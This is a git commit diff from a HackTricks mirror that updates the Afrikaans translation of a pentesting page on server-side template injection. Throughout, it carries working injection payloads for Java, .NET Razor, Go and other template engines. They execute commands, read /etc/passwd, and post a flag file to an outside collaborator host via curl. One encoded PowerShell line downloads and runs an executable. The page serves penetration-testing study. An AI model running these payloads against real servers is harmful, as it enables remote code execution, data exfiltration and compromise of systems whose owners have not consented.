mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
95ca7b56d8
commit
6efb133b0b
1 changed files with 28 additions and 30 deletions
|
@ -6,11 +6,11 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,13 +28,13 @@ Jinja is 'n gewilde templaat-enjin wat in webtoepassings gebruik word. Laat ons
|
|||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan potensieel 'n aanvaller in staat stel om kwaadwillige kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.
|
||||
In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan moontlik 'n aanvaller toelaat om skadelike kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.
|
||||
|
||||
Byvoorbeeld, 'n aanvaller kan 'n versoek met 'n lading soos hierdie saamstel:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Die lading `{{slegte-stof-hier}}` word in die `naam`-parameter ingespuit. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
|
||||
Die lading `{{slegte-stof-hier}}` word ingespuit in die `naam` parameter. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
|
||||
|
||||
Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesaniteer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidering en die gebruik van konteks-bewuste ontsnappingstegnieke kan help om die risiko van hierdie kwetsbaarheid te verminder.
|
||||
|
||||
|
@ -42,14 +42,14 @@ Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars ve
|
|||
|
||||
Om Serverkant-sjablooninspuiting (SSTI) op te spoor, is dit aanvanklik **fuzzing van die sjabloon** 'n reguit benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale lading. Kwetsbaarheidsaanwysers sluit in:
|
||||
|
||||
* Gegooide foute wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel.
|
||||
* Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk.
|
||||
* **Plaintext-konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
||||
* **Kodekonteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `groet` in `http://kwesbare-webwerf.com/?groet=data.gebruikersnaam` om te sien of die bediener se uitset dinamies of vas is, soos in `groet=data.gebruikersnaam}}hallo` wat die gebruikersnaam teruggee.
|
||||
- Gegooide foute, wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel.
|
||||
- Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk.
|
||||
- **Plaintext-konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
||||
- **Kodekonteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `greeting` in `http://vulnerable-website.com/?greeting=data.username` om te sien of die bediener se uitset dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
|
||||
|
||||
#### Identifikasiefase
|
||||
|
||||
Die identifisering van die sjabloon-enjin behels die analisering van foutboodskappe of die handmatige toets van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.
|
||||
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toets van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.
|
||||
|
||||
## Gereedskap
|
||||
|
||||
|
@ -63,8 +63,8 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123...
|
|||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||||
```bash
|
||||
python3 sstimap.py -i -l 5
|
||||
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
|
||||
python3 sstimap.py -u 'https://example.com/page?name=John' -s
|
||||
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
|
||||
python3 sstimap.py -u "https://example.com/page?name=John" -s
|
||||
```
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
```python
|
||||
|
@ -100,7 +100,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
|
|||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**Java - Haal /etc/passwd op**
|
||||
**Java - Kry /etc/passwd**
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -108,12 +108,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
|||
```
|
||||
### FreeMarker (Java)
|
||||
|
||||
Jy kan jou ladingstoetse probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||||
Jy kan jou payloads probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (oud)`
|
||||
* `${7*'7'} Niks`
|
||||
* `#{7*7} = 49 -- (legacy)`
|
||||
* `${7*'7'} Nothing`
|
||||
* `${foobar}`
|
||||
```java
|
||||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
|
@ -180,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus kan 'n eenvoudige SSTI toetslading lyk soos `[[${7*7}]]`.
|
||||
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus, 'n eenvoudige SSTI toetslading kan lyk soos `[[${7*7}]]`.
|
||||
|
||||
Die waarskynlikheid dat hierdie lading werk, is egter gewoonlik laag. Thymeleaf se verstekkonfigurasie ondersteun nie dinamiese templaatgenerering nie; templaat moet voorgedefinieer word. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om templaat vanaf strings aan die vlieg te skep, wat ongewoon is.
|
||||
|
||||
|
@ -195,7 +195,7 @@ Oorweeg die volgende kodefragment, wat vatbaar kan wees vir uitbuiting:
|
|||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Dit dui daarop dat as die templaat-enjin hierdie insette nie behoorlik verwerk nie, dit kan lei tot afgeleë kode-uitvoering wat toegang gee tot URL's soos:
|
||||
Dit dui daarop dat as die templaat-enjin hierdie insette nie behoorlik verwerk nie, dit kan lei tot afgeleë kode-uitvoering wat toegang tot URL's soos:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
|
@ -253,7 +253,7 @@ print(base_payload + end_payload)
|
|||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Spring Aansig Manipulasie (Java)
|
||||
### Lente-aansigverandering (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
|
@ -297,9 +297,7 @@ Nuwe weergawe van Pebble:
|
|||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
Jinjava is 'n oopbronprojek ontwikkel deur Hubspot, beskikbaar by [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
|
||||
**Jinjava - Opdraguitvoering**
|
||||
**Jinjava - Opdrag uitvoering**
|
||||
|
||||
Vasgestel deur [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
```java
|
||||
|
@ -386,7 +384,7 @@ Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tuss
|
|||
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy elemente met die toepassingsdata te koppel.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende toepassingsstruktuur verseker.
|
||||
|
||||
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL tolke**:
|
||||
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL interpreteerders**:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -499,14 +497,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
Bladsy sjabloon:
|
||||
Bladsy templaat:
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Uitleg sjabloon:
|
||||
# Uitleg sjabloon:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -773,7 +771,7 @@ Kyk na die volgende bladsy om truuks te leer oor **arbitrêre beveluitvoering wa
|
|||
|
||||
[Amptelike webwerf](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandbox-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.
|
||||
> Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandboks-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.
|
||||
|
||||
* `{{7*7}} = Fout`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -856,7 +854,7 @@ ${x}
|
|||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. 'n Kwesbare webtoepassingsvoorbeeld kan gevind word in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. 'n Voorbeeld van 'n kwesbare webtoepassing kan gevind word by [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Meer inligting**
|
||||
|
||||
|
@ -888,7 +886,7 @@ Selfs al is dit perl, gebruik dit tage soos ERB in Ruby.
|
|||
```
|
||||
### SSTI in GO
|
||||
|
||||
In Go se templaat-enjin, kan bevestiging van sy gebruik gedoen word met spesifieke payloads:
|
||||
In Go se templaat-enjin, kan bevestiging van die gebruik daarvan gedoen word met spesifieke payloads:
|
||||
|
||||
* `{{ . }}`: Onthul die datastruktuur inset. Byvoorbeeld, as 'n objek met 'n `Password` eienskap oorgedra word, kan `{{ .Password }}` dit blootstel.
|
||||
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
|
||||
|
@ -904,7 +902,7 @@ vbnet Kopieer kode
|
|||
|
||||
RCE-uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module maak dit moontlik om enige openbare funksie direk te roep (deur die "call" waarde te gebruik), wat nie toegelaat word in `html/template` nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat bevele uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld:
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat opdragte uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om hiervan gebruik te maak, soos in die gegee voorbeeld:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -950,13 +948,13 @@ As jy dink dit kan nuttig wees, lees:
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue